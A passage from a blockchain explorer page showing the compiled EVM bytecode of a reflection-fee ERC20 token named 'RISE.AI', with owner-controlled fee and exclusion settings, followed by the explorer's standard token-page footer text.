55050565b6000600d54831115611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090614775565b60405180910390fd5b8161185a57600061184b846001612a7a565b90508060000151915050611872565b6000611867846001612a7a565b905080602001519150505b92915050565b602560179054906101000a900460ff1681565b6118936125de565b73ffffffffffffffffffffffffffffffffffffffff166118b1611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90614795565b60405180910390fd5b8360186000018190555082601860010181905550816018600201819055508060186003018190555050505050565b61193d6125de565b73ffffffffffffffffffffffffffffffffffffffff1661195b611e55565b73ffffffffffffffffffffffffffffffffffffffff16146119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614735565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b1257611ace600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce757600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611d32565b611d2f600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b90505b919050565b601c8060000154908060010154908060020154908060030154905084565b60188060000154908060010154908060020154908060030154905084565b611d7b6125de565b73ffffffffffffffffffffffffffffffffffffffff16611d99611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de690614795565b60405180910390fd5b83601c6000018190555082601c6001018190555081601c6002018190555080601c6003018190555050505050565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60168060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f524953452e414900000000000000000000000000000000000000000000000000815250905090565b600f5481565b60128060000154908060010154908060020154908060030154905084565b600080841415611ef25760009050611f96565b60008442611f0091906149d6565b9050601054811415611f16576001915050611f96565b6000811415611f7f578273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f7e576000915050611f96565b5b838111611f90576001915050611f96565b60009150505b9392505050565b6000612060611faa6125de565b8461205b85604051806060016040528060258152602001614f966025913960056000611fd46125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b6001905092915050565b60086020528060005260406000206000915090505481565b600061209661208f6125de565b84846127b1565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6120c96125de565b73ffffffffffffffffffffffffffffffffffffffff166120e7611e55565b73ffffffffffffffffffffffffffffffffffffffff161461213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614795565b60405180910390fd5b80602560176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612186919061463d565b60405180910390a150565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61228f6125de565b73ffffffffffffffffffffffffffffffffffffffff166122ad611e55565b73ffffffffffffffffffffffffffffffffffffffff1614612303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fa90614795565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915090505481565b61237e6125de565b73ffffffffffffffffffffffffffffffffffffffff1661239c611e55565b73ffffffffffffffffffffffffffffffffffffffff16146123f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e990614795565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612462576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612459906146f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6125276125de565b73ffffffffffffffffffffffffffffffffffffffff16612545611e55565b73ffffffffffffffffffffffffffffffffffffffff161461259b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259290614795565b60405180910390fd5b80602560146101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264d90614815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126bd90614715565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127a49190614835565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612821576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612818906147f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288890614695565b60405180910390fd5b600081116128d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128cb906147b5565b60405180910390fd5b6128dd83611c4c565b81111561291f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612916906147d5565b60405180910390fd5b6129cc838383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129c65750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612add565b505050565b6000838311158290612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a109190614673565b60405180910390fd5b5082840390509392505050565b6000806000612a336136df565b915091508082612a43919061494b565b9250505090565b6000612a72836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61397d565b905092915050565b612a826140ea565b612a8c8383613a91565b9050612aa1818484612a9c612a26565b613b98565b866000018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b8015612ec857602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612cf057612b41611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612baf5750612b7f611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612be85750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612c7b576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612c7a5742600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b82601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506018602060008201548160000155600182015481600101556002820154816002015560038201548160030155905050612ec3565b612cf8611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612d665750612d36611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612d9f5750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612e43576000612dbb612db2866116d2565b600f5487611edf565b905080612dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df4906146b5565b60405180910390fd5b42600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b601c60206000820154816000015560018201548160010155600282015481600201556003820154816003015590505060206002015460206002018190555083601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612ff1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f5c5783601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ff05782601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b6000612ffd8383612a7a565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156130a25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561313a5782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f291906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613443565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156131dd5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613279578060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323191906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613442565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561331b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134415782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461336b91906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133fd91906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b8060000151600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349291906149d6565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461352491906148f5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081156136335761357f81604001518260e00151613c55565b6135928160600151826101000151613c89565b6135a58160800151826101200151613e34565b6135b88160a00151826101400151613fdf565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610120015184610100015161361d91906148f5565b60405161362a9190614835565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c001516040516136949190614835565b60405180910390a36136b084600161402790919063ffffffff16565b5060006136bc86611c4c565b14156136d8576136d6856001612a4a90919063ffffffff16565b505b5050505050565b6000806000600e5490506000600d54905060005b600a80549050811015613947578260036000600a848154811061371957613718614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061380757508160046000600a848154811061379f5761379e614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561381e57600e54600d5494509450505050613979565b60036000600a838154811061383657613835614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138a791906149d6565b925060046000600a83815481106138c1576138c0614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261393291906149d6565b9150808061393f90614ac8565b9150506136f3565b50600d54600e54613958919061494b565b82101561397057600e54600d54935093505050613979565b81819350935050505b9091565b60008083600101600084815260200190815260200160002054905060008114613a855760006001826139af91906149d6565b90506000600186600001805490506139c791906149d6565b9050818114613a365760008660000182815481106139e8576139e7614b9e565b5b9060005260206000200154905080876000018481548110613a0c57613a0b614b9e565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480613a4a57613a49614b6f565b5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050613a8b565b60009150505b92915050565b613a996140ea565b81613aad57828160c0018181525050613b92565b606460206000015484613ac0919061497c565b613aca919061494b565b8160e0018181525050606460206001015484613ae6919061497c565b613af0919061494b565b81610100018181525050606460206002015484613b0d919061497c565b613b17919061494b565b81610120018181525050606460206003015484613b34919061497c565b613b3e919061494b565b816101400181815250508061014001518161012001518261010001518360e0015186613b6a91906149d6565b613b7491906149d6565b613b7e91906149d6565b613b8891906149d6565b8160c00181815250505b92915050565b6000806000806000808689613bad919061497c565b955087613bcd578586600080600080955095509550955095509550613c48565b868a60e00151613bdd919061497c565b9350868a6101000151613bf0919061497c565b9250868a6101200151613c03919061497c565b9150868a6101400151613c16919061497c565b90508082848689613c2791906149d6565b613c3191906149d6565b613c3b91906149d6565b613c4591906149d6565b94505b9499939850945094509450565b81600e54613c6391906149d6565b600e819055508060126000016000828254613c7e91906148f5565b925050819055505050565b8060166000016000828254613c9e91906148f5565b925050819055508060126001016000828254613cba91906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d0c91906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e305780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dec91906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060166001016000828254613e4991906148f5565b925050819055508060126002016000828254613e6591906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eb791906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613fdb5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f9791906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060126003016000828254613ff491906148f5565b9250508190555080600d5461400991906149d6565b600d8190555081600e5461401d91906149d6565b600e819055505050565b600061404f836000018373ffffffffffffffffffffffffffffffffffffffff1660001b614057565b905092915050565b600061406383836140c7565b6140bc5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506140c1565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061415381614f28565b92915050565b60008135905061416881614f3f565b92915050565b60008135905061417d81614f56565b92915050565b60006020828403121561419957614198614bcd565b5b60006141a784828501614144565b91505092915050565b600080604083850312156141c7576141c6614bcd565b5b60006141d585828601614144565b92505060206141e685828601614144565b9150509250929050565b60008060006060848603121561420957614208614bcd565b5b600061421786828701614144565b935050602061422886828701614144565b92505060406142398682870161416e565b9150509250925092565b6000806040838503121561425a57614259614bcd565b5b600061426885828601614144565b92505060206142798582860161416e565b9150509250929050565b60006020828403121561429957614298614bcd565b5b60006142a784828501614159565b91505092915050565b6000602082840312156142c6576142c5614bcd565b5b60006142d48482850161416e565b91505092915050565b600080604083850312156142f4576142f3614bcd565b5b60006143028582860161416e565b925050602061431385828601614159565b9150509250929050565b60008060006060848603121561433657614335614bcd565b5b60006143448682870161416e565b93505060206143558682870161416e565b925050604061436686828701614144565b9150509250925092565b6000806000806080858703121561438a57614389614bcd565b5b60006143988782880161416e565b94505060206143a98782880161416e565b93505060406143ba8782880161416e565b92505060606143cb8782880161416e565b91505092959194509250565b6143e081614a0a565b82525050565b6143ef81614a1c565b82525050565b6143fe81614a5f565b82525050565b600061440f826148d9565b61441981856148e4565b9350614429818560208601614a95565b61443281614bd2565b840191505092915050565b600061444a6023836148e4565b915061445582614be3565b604082019050919050565b600061446d6005836148e4565b915061447882614c32565b602082019050919050565b6000614490602a836148e4565b915061449b82614c5b565b604082019050919050565b60006144b36026836148e4565b91506144be82614caa565b604082019050919050565b60006144d66022836148e4565b91506144e182614cf9565b604082019050919050565b60006144f9601b836148e4565b915061450482614d48565b602082019050919050565b600061451c6017836148e4565b915061452782614d71565b602082019050919050565b600061453f601f836148e4565b915061454a82614d9a565b602082019050919050565b60006145626020836148e4565b915061456d82614dc3565b602082019050919050565b60006145856029836148e4565b915061459082614dec565b604082019050919050565b60006145a86030836148e4565b91506145b382614e3b565b604082019050919050565b60006145cb6025836148e4565b91506145d682614e8a565b604082019050919050565b60006145ee6024836148e4565b91506145f982614ed9565b604082019050919050565b61460d81614a48565b82525050565b61461c81614a52565b82525050565b600060208201905061463760008301846143d7565b92915050565b600060208201905061465260008301846143e6565b92915050565b600060208201905061466d60008301846143f5565b92915050565b6000602082019050818103600083015261468d8184614404565b905092915050565b600060208201905081810360008301526146ae8161443d565b9050919050565b600060208201905081810360008301526146ce81614460565b9050919050565b600060208201905081810360008301526146ee81614483565b9050919050565b6000602082019050818103600083015261470e816144a6565b9050919050565b6000602082019050818103600083015261472e816144c9565b9050919050565b6000602082019050818103600083015261474e816144ec565b9050919050565b6000602082019050818103600083015261476e8161450f565b9050919050565b6000602082019050818103600083015261478e81614532565b9050919050565b600060208201905081810360008301526147ae81614555565b9050919050565b600060208201905081810360008301526147ce81614578565b9050919050565b600060208201905081810360008301526147ee8161459b565b9050919050565b6000602082019050818103600083015261480e816145be565b9050919050565b6000602082019050818103600083015261482e816145e1565b9050919050565b600060208201905061484a6000830184614604565b92915050565b60006040820190506148656000830185614604565b6148726020830184614604565b9392505050565b600060808201905061488e6000830187614604565b61489b6020830186614604565b6148a86040830185614604565b6148b56060830184614604565b95945050505050565b60006020820190506148d36000830184614613565b92915050565b600081519050919050565b600082825260208201905092915050565b600061490082614a48565b915061490b83614a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149405761493f614b11565b5b828201905092915050565b600061495682614a48565b915061496183614a48565b92508261497157614970614b40565b5b828204905092915050565b600061498782614a48565b915061499283614a48565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156149cb576149ca614b11565b5b828202905092915050565b60006149e182614a48565b91506149ec83614a48565b9250828210156149ff576149fe614b11565b5b828203905092915050565b6000614a1582614a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614a6a82614a71565b9050919050565b6000614a7c82614a83565b9050919050565b6000614a8e82614a28565b9050919050565b60005b83811015614ab3578082015181840152602081019050614a98565b83811115614ac2576000848401525b50505050565b6000614ad382614a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614b0657614b05614b11565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6572726f72000000000000000000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f752062616c616e636500000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614f3181614a0a565b8114614f3c57600080fd5b50565b614f4881614a1c565b8114614f5357600080fd5b50565b614f5f81614a48565b8114614f6a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ddd017a6f199fbd9bd06261822544fb461782122f76b7ef4301518b3ea81f1464736f6c63430008070033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.